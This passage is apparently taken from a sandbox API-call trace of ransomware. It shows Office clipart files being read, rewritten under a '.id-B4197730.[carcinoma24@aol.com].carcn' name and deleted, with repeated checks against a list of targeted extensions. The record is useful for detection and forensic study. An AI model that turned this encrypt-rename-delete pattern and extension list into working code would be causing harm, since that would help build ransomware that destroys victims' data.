(lpString="BL00247_.WMF") returned 12 [0266.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.150] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=14444) returned 1 [0266.150] CloseHandle (hObject=0x548) returned 1 [0266.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0266.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.151] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.151] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0266.360] GetLastError () returned 0x0 [0266.360] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x386c, lpOverlapped=0x0) returned 1 [0266.382] WriteFile (in: hFile=0x558, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3870, lpOverlapped=0x0) returned 1 [0266.383] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.383] WriteFile (in: hFile=0x558, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.383] SetEndOfFile (hFile=0x558) returned 1 [0266.389] CloseHandle (hObject=0x558) returned 1 [0266.422] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.422] SetEndOfFile (hFile=0x548) returned 1 [0266.425] CloseHandle (hObject=0x548) returned 1 [0266.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0266.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.427] lstrlenW (lpString=".doc") returned 4 [0266.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.427] lstrlenW (lpString=".docx") returned 5 [0266.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.427] lstrlenW (lpString=".pdf") returned 4 [0266.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.427] lstrlenW (lpString=".xls") returned 4 [0266.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.427] lstrlenW (lpString=".xlsx") returned 5 [0266.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.427] lstrlenW (lpString=".ppt") returned 4 [0266.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.427] lstrlenW (lpString=".zip") returned 4 [0266.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.427] lstrlenW (lpString=".rar") returned 4 [0266.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.427] lstrlenW (lpString=".bz2") returned 4 [0266.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.427] lstrlenW (lpString=".7z") returned 3 [0266.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.428] lstrlenW (lpString=".dbf") returned 4 [0266.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.428] lstrlenW (lpString=".1cd") returned 4 [0266.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.428] lstrlenW (lpString=".jpg") returned 4 [0266.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.428] lstrlenW (lpString=".doc") returned 4 [0266.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.428] lstrlenW (lpString=".docx") returned 5 [0266.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.428] lstrlenW (lpString=".pdf") returned 4 [0266.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.428] lstrlenW (lpString=".xls") returned 4 [0266.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.428] lstrlenW (lpString=".xlsx") returned 5 [0266.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.428] lstrlenW (lpString=".ppt") returned 4 [0266.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.428] lstrlenW (lpString=".zip") returned 4 [0266.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.428] lstrlenW (lpString=".rar") returned 4 [0266.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.429] lstrlenW (lpString=".bz2") returned 4 [0266.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.429] lstrlenW (lpString=".7z") returned 3 [0266.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.429] lstrlenW (lpString=".dbf") returned 4 [0266.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.429] lstrlenW (lpString=".1cd") returned 4 [0266.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0266.429] lstrlenW (lpString=".jpg") returned 4 [0266.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.429] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.429] lstrlenW (lpString="BL00261_.WMF") returned 12 [0266.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.954] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=12482) returned 1 [0266.954] CloseHandle (hObject=0x548) returned 1 [0266.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0266.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.955] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.955] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0267.013] GetLastError () returned 0x0 [0267.013] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0267.052] WriteFile (in: hFile=0x528, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0267.053] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.053] WriteFile (in: hFile=0x528, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.054] SetEndOfFile (hFile=0x528) returned 1 [0267.292] CloseHandle (hObject=0x528) returned 1 [0267.347] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.347] SetEndOfFile (hFile=0x548) returned 1 [0267.351] CloseHandle (hObject=0x548) returned 1 [0267.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0267.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.353] lstrlenW (lpString=".doc") returned 4 [0267.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.353] lstrlenW (lpString=".docx") returned 5 [0267.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.353] lstrlenW (lpString=".pdf") returned 4 [0267.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.353] lstrlenW (lpString=".xls") returned 4 [0267.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.353] lstrlenW (lpString=".xlsx") returned 5 [0267.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.353] lstrlenW (lpString=".ppt") returned 4 [0267.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.353] lstrlenW (lpString=".zip") returned 4 [0267.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.354] lstrlenW (lpString=".rar") returned 4 [0267.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.354] lstrlenW (lpString=".bz2") returned 4 [0267.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.354] lstrlenW (lpString=".7z") returned 3 [0267.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.354] lstrlenW (lpString=".dbf") returned 4 [0267.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.354] lstrlenW (lpString=".1cd") returned 4 [0267.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.354] lstrlenW (lpString=".jpg") returned 4 [0267.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.354] lstrlenW (lpString=".doc") returned 4 [0267.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.354] lstrlenW (lpString=".docx") returned 5 [0267.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.355] lstrlenW (lpString=".pdf") returned 4 [0267.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.355] lstrlenW (lpString=".xls") returned 4 [0267.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.355] lstrlenW (lpString=".xlsx") returned 5 [0267.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.355] lstrlenW (lpString=".ppt") returned 4 [0267.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.355] lstrlenW (lpString=".zip") returned 4 [0267.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.355] lstrlenW (lpString=".rar") returned 4 [0267.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.355] lstrlenW (lpString=".bz2") returned 4 [0267.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.355] lstrlenW (lpString=".7z") returned 3 [0267.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.355] lstrlenW (lpString=".dbf") returned 4 [0267.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.355] lstrlenW (lpString=".1cd") returned 4 [0267.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0267.356] lstrlenW (lpString=".jpg") returned 4 [0267.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.356] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.356] lstrlenW (lpString="BL00390_.WMF") returned 12 [0267.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0267.357] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=13102) returned 1 [0267.357] CloseHandle (hObject=0x548) returned 1 [0267.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0267.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0267.358] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.358] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0267.359] GetLastError () returned 0x0 [0267.359] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x332e, lpOverlapped=0x0) returned 1 [0267.566] WriteFile (in: hFile=0x528, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3330, lpOverlapped=0x0) returned 1 [0267.880] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.880] WriteFile (in: hFile=0x528, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.880] SetEndOfFile (hFile=0x528) returned 1 [0267.881] CloseHandle (hObject=0x528) returned 1 [0267.886] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.886] SetEndOfFile (hFile=0x548) returned 1 [0268.107] CloseHandle (hObject=0x548) returned 1 [0268.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0268.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.108] lstrlenW (lpString=".doc") returned 4 [0268.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.108] lstrlenW (lpString=".docx") returned 5 [0268.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.109] lstrlenW (lpString=".pdf") returned 4 [0268.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.109] lstrlenW (lpString=".xls") returned 4 [0268.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.109] lstrlenW (lpString=".xlsx") returned 5 [0268.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.109] lstrlenW (lpString=".ppt") returned 4 [0268.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.109] lstrlenW (lpString=".zip") returned 4 [0268.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.109] lstrlenW (lpString=".rar") returned 4 [0268.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.109] lstrlenW (lpString=".bz2") returned 4 [0268.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.109] lstrlenW (lpString=".7z") returned 3 [0268.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.109] lstrlenW (lpString=".dbf") returned 4 [0268.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.109] lstrlenW (lpString=".1cd") returned 4 [0268.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.109] lstrlenW (lpString=".jpg") returned 4 [0268.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.110] lstrlenW (lpString=".doc") returned 4 [0268.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.110] lstrlenW (lpString=".docx") returned 5 [0268.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.110] lstrlenW (lpString=".pdf") returned 4 [0268.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.110] lstrlenW (lpString=".xls") returned 4 [0268.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.110] lstrlenW (lpString=".xlsx") returned 5 [0268.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.110] lstrlenW (lpString=".ppt") returned 4 [0268.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.110] lstrlenW (lpString=".zip") returned 4 [0268.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.110] lstrlenW (lpString=".rar") returned 4 [0268.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.110] lstrlenW (lpString=".bz2") returned 4 [0268.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.110] lstrlenW (lpString=".7z") returned 3 [0268.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.110] lstrlenW (lpString=".dbf") returned 4 [0268.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.111] lstrlenW (lpString=".1cd") returned 4 [0268.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0268.111] lstrlenW (lpString=".jpg") returned 4 [0268.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.111] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.111] lstrlenW (lpString="BL00923_.WMF") returned 12 [0268.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0268.112] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=6256) returned 1 [0268.112] CloseHandle (hObject=0x548) returned 1 